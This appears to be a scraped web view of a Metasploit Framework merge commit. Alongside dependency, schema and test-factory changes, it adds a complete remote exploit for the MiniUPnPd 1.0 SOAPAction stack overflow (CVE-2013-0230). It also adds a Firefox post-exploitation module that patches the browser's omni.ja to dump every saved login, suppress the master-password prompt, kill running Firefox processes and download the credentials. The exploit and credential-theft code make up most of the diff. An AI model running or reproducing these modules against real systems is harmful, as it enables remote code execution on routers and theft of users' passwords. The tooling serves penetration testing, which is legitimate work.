Merge branch 'master' of https://github.com/rapid7/metasploit-framework
commit
b3a99affe0
2
Gemfile
2
Gemfile
|
@ -15,7 +15,7 @@ group :db do
|
|||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.15.2'
|
||||
gem 'metasploit_data_models', '~> 0.16.0'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
|
|
|
@ -23,7 +23,7 @@ GEM
|
|||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
metasploit_data_models (0.15.2)
|
||||
metasploit_data_models (0.16.0)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
|
|
18
db/schema.rb
18
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
ActiveRecord::Schema.define(:version => 20130531144949) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -46,11 +46,10 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
|||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.datetime "updated_at"
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "creds", :force => true do |t|
|
||||
|
@ -167,18 +166,11 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
|||
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
||||
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
|
||||
|
||||
create_table "hosts_tags", :id => false, :force => true do |t|
|
||||
create_table "hosts_tags", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "tag_id"
|
||||
end
|
||||
|
||||
create_table "imported_creds", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "user", :limit => 512
|
||||
t.string "pass", :limit => 512
|
||||
t.string "ptype", :limit => 16, :default => "password"
|
||||
end
|
||||
|
||||
create_table "listeners", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
|
||||
present in the SOAPAction HTTP header handling.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm', # Vulnerability discovery
|
||||
'Dejan Lukan' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'EXITFUNC' => 'process', },
|
||||
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
|
||||
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
|
||||
# of the program is never reached)
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2060,
|
||||
'BadChars' => "\x00\x22",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0230' ],
|
||||
[ 'OSVDB', '89624' ],
|
||||
[ 'BID', '57608' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
|
||||
{
|
||||
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
|
||||
'Offset' => 2123
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 27 2013',
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(5555),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
#
|
||||
# Build the SOAP Exploit
|
||||
#
|
||||
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
|
||||
sploit = "\xeb\x2d"
|
||||
|
||||
# a valid action
|
||||
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
|
||||
|
||||
# payload
|
||||
sploit += payload.encoded
|
||||
|
||||
# nops
|
||||
sploit += rand_text(target['Offset'] - sploit.length - 16)
|
||||
|
||||
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
|
||||
sploit += rand_text(4) # overwrite EBX
|
||||
sploit += rand_text(4) # overwrite ESI
|
||||
sploit += rand_text(4) # overwrite EDI
|
||||
sploit += rand_text(4) # overwrite EBP
|
||||
|
||||
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
|
||||
# stack points directly to the string after 'Soapaction: ', which is why we must
|
||||
# throw the first value on the stack away, which we're doing with the pop ebp
|
||||
# instruction. Then we're returning to the next value on the stack, which is
|
||||
# exactly the address that we want.
|
||||
sploit += [target.ret].pack('V')
|
||||
|
||||
# the ending " character is necessary for the vulnerability to be reached
|
||||
sploit += "\""
|
||||
|
||||
# data sent in the POST body
|
||||
data =
|
||||
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
|
||||
"<SOAP-ENV:Envelope\r\n" +
|
||||
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
|
||||
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
|
||||
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
|
||||
">\r\n" +
|
||||
"<SOAP-ENV:Body>\r\n" +
|
||||
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
|
||||
"</ns1:action>\r\n" +
|
||||
"</SOAP-ENV:Body>\r\n" +
|
||||
"</SOAP-ENV:Envelope>\r\n"
|
||||
|
||||
#
|
||||
# Build and send the HTTP request
|
||||
#
|
||||
print_status("Sending exploit to victim #{target.name} at ...")
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/",
|
||||
'headers' => {
|
||||
'SOAPAction' => sploit,
|
||||
},
|
||||
'data' => data,
|
||||
})
|
||||
|
||||
# disconnect from the server
|
||||
disconnect
|
||||
end
|
||||
end
|
|
@ -7,12 +7,18 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'zip/zip'
|
||||
require 'tmpdir'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -26,52 +32,115 @@ class Metasploit3 < Msf::Post
|
|||
Firefox stores passwords within the signons.sqlite database file. There is also a
|
||||
keys3.db file which contains the key for decrypting these passwords. In cases where
|
||||
a Master Password has not been set, the passwords can easily be decrypted using
|
||||
third party tools. If a Master Password was used the only option would be to
|
||||
bruteforce.
|
||||
third party tools or by setting the DECRYPT option to true. Using the latter often
|
||||
needs root privileges. If a Master Password was used the only option would be
|
||||
to bruteforce.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['bannedit'],
|
||||
'Author' =>
|
||||
[
|
||||
'bannedit',
|
||||
'xard4s' # added decryption support
|
||||
],
|
||||
'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'],
|
||||
'SessionTypes' => ['meterpreter', 'shell' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
|
||||
]
|
||||
)
|
||||
#TODO
|
||||
# - add support for decrypting the passwords without a Master Password
|
||||
# - Collect cookies.
|
||||
end
|
||||
|
||||
def run
|
||||
paths = []
|
||||
print_status("Determining session platform and type...")
|
||||
case session.platform
|
||||
when /unix|linux|bsd/
|
||||
@platform = :unix
|
||||
paths = enum_users_unix
|
||||
when /osx/
|
||||
@platform = :osx
|
||||
paths = enum_users_unix
|
||||
when /win/
|
||||
if session.type != "meterpreter"
|
||||
print_error "Only meterpreter sessions are supported on windows hosts"
|
||||
return
|
||||
end
|
||||
|
||||
grab_user_profiles().each do |user|
|
||||
next if user['AppData'] == nil
|
||||
dir = check_firefox(user['AppData'])
|
||||
if dir
|
||||
paths << dir
|
||||
end
|
||||
end
|
||||
@platform = :windows
|
||||
else
|
||||
print_error("Unsupported platform #{session.platform}")
|
||||
return
|
||||
end
|
||||
if paths.nil?
|
||||
print_error("No users found with a Firefox directory")
|
||||
return
|
||||
|
||||
if datastore['DECRYPT']
|
||||
omnija = nil
|
||||
org_file = 'omni.ja'
|
||||
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
|
||||
|
||||
# sets @paths
|
||||
return unless get_ff_and_loot_path
|
||||
|
||||
print_status("Downloading #{org_file} from #{@paths['ff']}")
|
||||
omnija = read_file(@paths['ff']+org_file)
|
||||
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
|
||||
print_error("Could not download #{org_file}, archive may not exist")
|
||||
return
|
||||
end
|
||||
# cross platform local tempdir, "/" should work on windows too
|
||||
tmp = Dir::tmpdir + "/" + new_file
|
||||
print_status("Writing #{org_file} to local file: #{tmp}")
|
||||
file_local_write(tmp, omnija)
|
||||
res = nil
|
||||
print_status("Extracting and modifying #{new_file}...")
|
||||
begin
|
||||
# automatically commits the changes made to the zip archive when
|
||||
# the block terminates
|
||||
Zip::ZipFile.open(tmp) do |zip_file|
|
||||
res = modify_omnija(zip_file)
|
||||
end
|
||||
rescue Zip::ZipError => e
|
||||
print_error("Error modifying #{new_file}")
|
||||
return
|
||||
end
|
||||
if res
|
||||
print_status("Successfully modified #{new_file}")
|
||||
else
|
||||
print_error("Failed to patch method")
|
||||
return
|
||||
end
|
||||
print_status("Uploading #{new_file} to #{@paths['ff']}")
|
||||
if not upload_file(@paths['ff']+new_file, tmp)
|
||||
print_error("Could not upload #{new_file}")
|
||||
return
|
||||
end
|
||||
|
||||
return if not trigger_decrypt(org_file, new_file)
|
||||
|
||||
download_creds
|
||||
else
|
||||
paths = []
|
||||
if @platform =~ /unix|osx/
|
||||
paths = enum_users_unix
|
||||
else # windows
|
||||
grab_user_profiles().each do |user|
|
||||
next if user['AppData'] == nil
|
||||
dir = check_firefox(user['AppData'])
|
||||
if dir
|
||||
paths << dir
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if paths.nil?
|
||||
print_error("No users found with a Firefox directory")
|
||||
return
|
||||
end
|
||||
|
||||
download_loot(paths.flatten)
|
||||
|
||||
end
|
||||
|
||||
download_loot(paths.flatten)
|
||||
end
|
||||
|
||||
def enum_users_unix
|
||||
|
@ -195,6 +264,262 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
# checks for needed privileges and wheter Firefox is installed
|
||||
def get_ff_and_loot_path
|
||||
@paths = {}
|
||||
check_paths = []
|
||||
drive = expand_path("%SystemDrive%")
|
||||
loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
|
||||
|
||||
case @platform
|
||||
when /win/
|
||||
if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
|
||||
print_error("You need root privileges on this platform for DECRYPT option")
|
||||
return false
|
||||
end
|
||||
tmpdir = expand_path("%TEMP%") + "\\"
|
||||
# this way allows for more independent use of meterpreter
|
||||
# payload (32 and 64 bit) and cleaner code
|
||||
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
|
||||
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
|
||||
|
||||
when /unix/
|
||||
tmpdir = '/tmp/'
|
||||
if cmd_exec("whoami").chomp !~ /root/
|
||||
print_error("You need root privileges on this platform for DECRYPT option")
|
||||
return false
|
||||
end
|
||||
# unix matches linux|unix|bsd but bsd is not supported
|
||||
if session.platform =~ /bsd/
|
||||
print_error("Sorry, bsd is not supported by the DECRYPT option")
|
||||
return false
|
||||
end
|
||||
|
||||
check_paths << '/usr/lib/firefox/'
|
||||
check_paths << '/usr/lib64/firefox/'
|
||||
|
||||
when /osx/
|
||||
tmpdir = '/tmp/'
|
||||
check_paths << '/applications/firefox.app/contents/macos/'
|
||||
end
|
||||
|
||||
@paths['ff'] = check_paths.find do |p|
|
||||
check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
|
||||
print_status("Checking for Firefox directory in: #{check}")
|
||||
if directory?(p.sub(/(\\|\/)$/, ''))
|
||||
print_good("Found Firefox directory")
|
||||
true
|
||||
else
|
||||
print_error("No Firefox directory found")
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
return false if @paths['ff'].nil?
|
||||
|
||||
@paths['loot'] = tmpdir + loot_file
|
||||
return true
|
||||
|
||||
end
|
||||
|
||||
def modify_omnija(zip)
|
||||
files = [
|
||||
'components/storage-mozStorage.js',
|
||||
'chrome/toolkit/content/passwordmgr/passwordManager.xul',
|
||||
'chrome/toolkit/content/global/commonDialog.xul',
|
||||
'jsloader/resource/gre/components/storage-mozStorage.js'
|
||||
]
|
||||
|
||||
arya = files.map do |file|
|
||||
fdata = {}
|
||||
fdata['content'] = zip.read(file) unless file =~ /jsloader/
|
||||
fdata['outs'] = zip.get_output_stream(file)
|
||||
fdata
|
||||
end
|
||||
|
||||
stor_js, pwd_xul, dlog_xul, res_js = arya
|
||||
stor_js['outs_res'] = res_js['outs']
|
||||
|
||||
wnd_close = "window.close();"
|
||||
onload = "Startup(); SignonsStartup(); #{wnd_close}"
|
||||
|
||||
# get rid of (possible) master password prompt and close pwd
|
||||
# manager immediately
|
||||
dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close)
|
||||
dlog_xul['outs'].write(dlog_xul['content'])
|
||||
dlog_xul['outs'].close
|
||||
|
||||
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
|
||||
pwd_xul['outs'].write(pwd_xul['content'])
|
||||
pwd_xul['outs'].close
|
||||
|
||||
# returns true or false
|
||||
return patch_method(stor_js)
|
||||
|
||||
end
|
||||
|
||||
# Patches getAllLogins() method from storage-mozStorage.js
|
||||
def patch_method(stor_js)
|
||||
data = ""
|
||||
# imports needed for IO
|
||||
imports = %Q|
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
Components.utils.import("resource://gre/modules/FileUtils.jsm");
|
||||
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
||||
|
|
||||
|
||||
# Javascript code to intercept the logins array and write the
|
||||
# credentials to a file
|
||||
method_epilog = %Q|
|
||||
var data = "";
|
||||
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
|
||||
var file = new FileUtils.File(path);
|
||||
|
||||
var outstream = FileUtils.openSafeFileOutputStream(file);
|
||||
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
|
||||
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
|
||||
converter.charset = "UTF-8";
|
||||
|
||||
if (logins.length != 0) {
|
||||
for (var i = 0; i < logins.length; i++) {
|
||||
|
||||
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
data = "no creds";
|
||||
}
|
||||
|
||||
var istream = converter.convertToInputStream(data);
|
||||
NetUtil.asyncCopy(istream, outstream);
|
||||
|
||||
return logins;
|
||||
|
|
||||
|
||||
regex = [
|
||||
nil,
|
||||
[/return\slogins;/, method_epilog],
|
||||
[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil],
|
||||
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
|
||||
]
|
||||
|
||||
# match three regular expressions
|
||||
i = 3
|
||||
stor_js['content'].each_line do |line|
|
||||
# there is no real substitution if the matching regex
|
||||
# has no corresponding patch code
|
||||
if i != 0 and line.sub!(regex[i][0]) do |match|
|
||||
if not regex[i][1].nil?
|
||||
regex[i][1]
|
||||
else
|
||||
line
|
||||
end
|
||||
end
|
||||
i -= 1
|
||||
end
|
||||
|
||||
data << line
|
||||
|
||||
end
|
||||
|
||||
# write the same data to both output streams
|
||||
stor_js['outs'].write(data)
|
||||
stor_js['outs_res'].write(data)
|
||||
stor_js['outs'].close
|
||||
stor_js['outs_res'].close
|
||||
|
||||
i == 0 ? 'return true' : 'return false'
|
||||
|
||||
end
|
||||
|
||||
# Starts a new firefox process and triggers decryption
|
||||
def trigger_decrypt(org_file, new_file)
|
||||
temp_file = "orgomni.ja"
|
||||
[org_file, new_file, temp_file].each do |f|
|
||||
f.insert(0, @paths['ff'])
|
||||
end
|
||||
# firefox command line arguments
|
||||
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
|
||||
|
||||
# In case of unix-like platform Firefox needs to start under user
|
||||
# context
|
||||
if @platform =~ /unix/
|
||||
|
||||
# assuming userdir /home/(x) = user
|
||||
print_status("Enumerating users...")
|
||||
users = cmd_exec("ls /home")
|
||||
if users.nil? or users.empty?
|
||||
print_error("No normal user found")
|
||||
return false
|
||||
end
|
||||
user = users.split()[0]
|
||||
# Since we can't access the display environment variable
|
||||
# we have to assume the default value
|
||||
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
|
||||
args << "\""
|
||||
cmd = "su #{user} -c"
|
||||
|
||||
elsif @platform =~ /win|osx/
|
||||
|
||||
cmd = @paths['ff'] + "firefox"
|
||||
# on osx, run in background
|
||||
args << "& sleep 5 && killall firefox" if @platform =~ /osx/
|
||||
end
|
||||
|
||||
# check if firefox is running and kill it
|
||||
if session.type == "meterpreter"
|
||||
session.sys.process.each_process do |p|
|
||||
if p['name'] =~ /firefox\.exe/
|
||||
print_status("Found running Firefox process, attempting to kill.")
|
||||
if not session.sys.process.kill(p['pid'])
|
||||
print_error("Could not kill Firefox process")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif session.type != "meterpreter"
|
||||
p = cmd_exec("ps", "cax | grep firefox")
|
||||
if p =~ /firefox/
|
||||
print_status("Found running Firefox process, attempting to kill.")
|
||||
term = cmd_exec("killall", "firefox && echo true")
|
||||
if not term =~ /true/
|
||||
print_error("Could not kill Firefox process")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
#
|
||||
# rename-fu
|
||||
# omni.ja -> orgomni.ja
|
||||
# *random*.ja -> omni.ja
|
||||
# omni.ja -> *random*.ja
|
||||
# orgomni.ja -> omni.ja
|
||||
#
|
||||
rename_file(org_file, temp_file)
|
||||
rename_file(new_file, org_file)
|
||||
|
||||
# automatic termination ( window.close() or arguments)
|
||||
print_status("Starting Firefox process")
|
||||
cmd_exec(cmd,args)
|
||||
|
||||
rename_file(org_file, new_file)
|
||||
rename_file(temp_file, org_file)
|
||||
|
||||
# clean up
|
||||
file_rm(new_file)
|
||||
|
||||
# at this time it should have a loot file
|
||||
if !file?(@paths['loot'])
|
||||
print_error("Decryption failed, there's probably a master password in use")
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
|
||||
end
|
||||
|
||||
def download_loot(paths)
|
||||
loot = ""
|
||||
paths.each do |path|
|
||||
|
@ -248,6 +573,47 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
def download_creds
|
||||
print_good("Downloading loot: #{@paths['loot']}")
|
||||
loot = read_file(@paths['loot'])
|
||||
|
||||
if loot =~ /no creds/
|
||||
print_status("No Firefox credentials where found")
|
||||
return
|
||||
end
|
||||
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Firefox credentials',
|
||||
'Indent' => 1,
|
||||
'Columns'=>
|
||||
[
|
||||
'Hostname',
|
||||
'User',
|
||||
'Password'
|
||||
]
|
||||
)
|
||||
|
||||
creds = loot.split("^")
|
||||
creds.each do |cred|
|
||||
hostname, user, pass = cred.rstrip.split(" :: ")
|
||||
cred_table << [hostname, user, pass]
|
||||
end
|
||||
|
||||
print_line("\n" + cred_table.to_s)
|
||||
|
||||
path = store_loot(
|
||||
"firefox.creds",
|
||||
"text/plain",
|
||||
session,
|
||||
cred_table.to_csv,
|
||||
"firefox_credentials.txt",
|
||||
"Firefox Credentials")
|
||||
|
||||
# better delete the remote creds file
|
||||
file_rm(@paths['loot'])
|
||||
|
||||
end
|
||||
|
||||
def got_root?
|
||||
case @platform
|
||||
when :windows
|
||||
|
|
|
@ -0,0 +1,14 @@
|
|||
FactoryGirl.define do
|
||||
factory :exported_web_vuln, :parent => :mdm_web_vuln do
|
||||
blame { generate :mdm_web_vuln_blame }
|
||||
description { generate :mdm_web_vuln_description }
|
||||
end
|
||||
|
||||
sequence :mdm_web_vuln_blame do |n|
|
||||
"Blame employee ##{n}"
|
||||
end
|
||||
|
||||
sequence :mdm_web_vuln_description do |n|
|
||||
"Mdm::WebVuln#description #{n}"
|
||||
end
|
||||
end
|
|
@ -1,34 +0,0 @@
|
|||
FactoryGirl.define do
|
||||
factory :mdm_route, :class => Mdm::Route do
|
||||
netmask { generate :mdm_route_netmask }
|
||||
subnet { generate :mdm_route_subnet }
|
||||
|
||||
#
|
||||
# Associations
|
||||
#
|
||||
association :session, :factory => :mdm_session
|
||||
end
|
||||
|
||||
sequence :mdm_route_netmask do |n|
|
||||
bits = 32
|
||||
bitmask = n % bits
|
||||
|
||||
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
|
||||
|
||||
bits = 32
|
||||
shift = n % bits
|
||||
mask_range = 2 ** bits
|
||||
full_mask = mask_range - 1
|
||||
|
||||
integer_netmask = (full_mask << shift)
|
||||
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
|
||||
|
||||
formatted_netmask
|
||||
end
|
||||
|
||||
sequence :mdm_route_subnet do |n|
|
||||
class_c_network = n % 255
|
||||
|
||||
"192.168.#{class_c_network}.0"
|
||||
end
|
||||
end
|
|
@ -1,34 +0,0 @@
|
|||
FactoryGirl.define do
|
||||
factory :mdm_web_form, :class => Mdm::WebForm do
|
||||
#
|
||||
# Associations
|
||||
#
|
||||
association :web_site, :factory => :mdm_web_site
|
||||
|
||||
# attributes that would be in web_form element from Pro export
|
||||
trait :exported do
|
||||
method { generate :mdm_web_form_method }
|
||||
params { generate :mdm_web_form_params }
|
||||
path { generate :mdm_web_form_path }
|
||||
end
|
||||
end
|
||||
|
||||
methods = ['GET', 'POST']
|
||||
|
||||
sequence :mdm_web_form_method do |n|
|
||||
methods[n % methods.length]
|
||||
end
|
||||
|
||||
sequence :mdm_web_form_params do |n|
|
||||
[
|
||||
[
|
||||
"name#{n}",
|
||||
"value#{n}"
|
||||
]
|
||||
]
|
||||
end
|
||||
|
||||
sequence :mdm_web_form_path do |n|
|
||||
"path/to/web/form/#{n}"
|
||||
end
|
||||
end
|
|
@ -1,64 +0,0 @@
|
|||
FactoryGirl.define do
|
||||
factory :mdm_web_page, :class => Mdm::WebPage do
|
||||
auth { generate :mdm_web_page_auth }
|
||||
body { generate :mdm_web_page_body }
|
||||
code { generate :mdm_web_page_code }
|
||||
cookie { generate :mdm_web_page_cookie }
|
||||
ctype { generate :mdm_web_page_ctype }
|
||||
headers { generate :mdm_web_page_headers }
|
||||
location { generate :mdm_web_page_location }
|
||||
mtime { generate :mdm_web_page_mtime }
|
||||
query { generate :mdm_web_page_query }
|
||||
|
||||
#
|
||||
# Associations
|
||||
#
|
||||
association :web_site, :factory => :mdm_web_site
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_auth do |n|
|
||||
"Authorization: #{n}"
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_body do |n|
|
||||
xml = Builder::XmlMarkup.new(:indent => 2)
|
||||
|
||||
xml.html
|
||||
|
||||
xml.target!.strip
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_code do |n|
|
||||
n
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_cookie do |n|
|
||||
"name#{n}=value#{n}"
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_ctype do |n|
|
||||
"application/x-#{n}"
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_headers do |n|
|
||||
[
|
||||
[
|
||||
"Header#{n}",
|
||||
"Value#{n}"
|
||||
]
|
||||
]
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_location do |n|
|
||||
"http://example.com/location/#{n}"
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_mtime do |n|
|
||||
past = Time.now - n
|
||||
past.utc.strftime('%a, %d %b %Y %H:%M:%S %Z')
|
||||
end
|
||||
|
||||
sequence :mdm_web_page_query do |n|
|
||||
"param#{n}=value#{n}"
|
||||
end
|
||||
end
|
|
@ -1,14 +0,0 @@
|
|||
FactoryGirl.define do
|
||||
factory :exported_web_vuln, :parent => :mdm_web_vuln do
|
||||
blame { generate :mdm_web_vuln_blame }
|
||||
description { generate :mdm_web_vuln_description }
|
||||
end
|
||||
|
||||
sequence :mdm_web_vuln_blame do |n|
|
||||
"Blame employee ##{n}"
|
||||
end
|
||||
|
||||
sequence :mdm_web_vuln_description do |n|
|
||||
"Mdm::WebVuln#description #{n}"
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue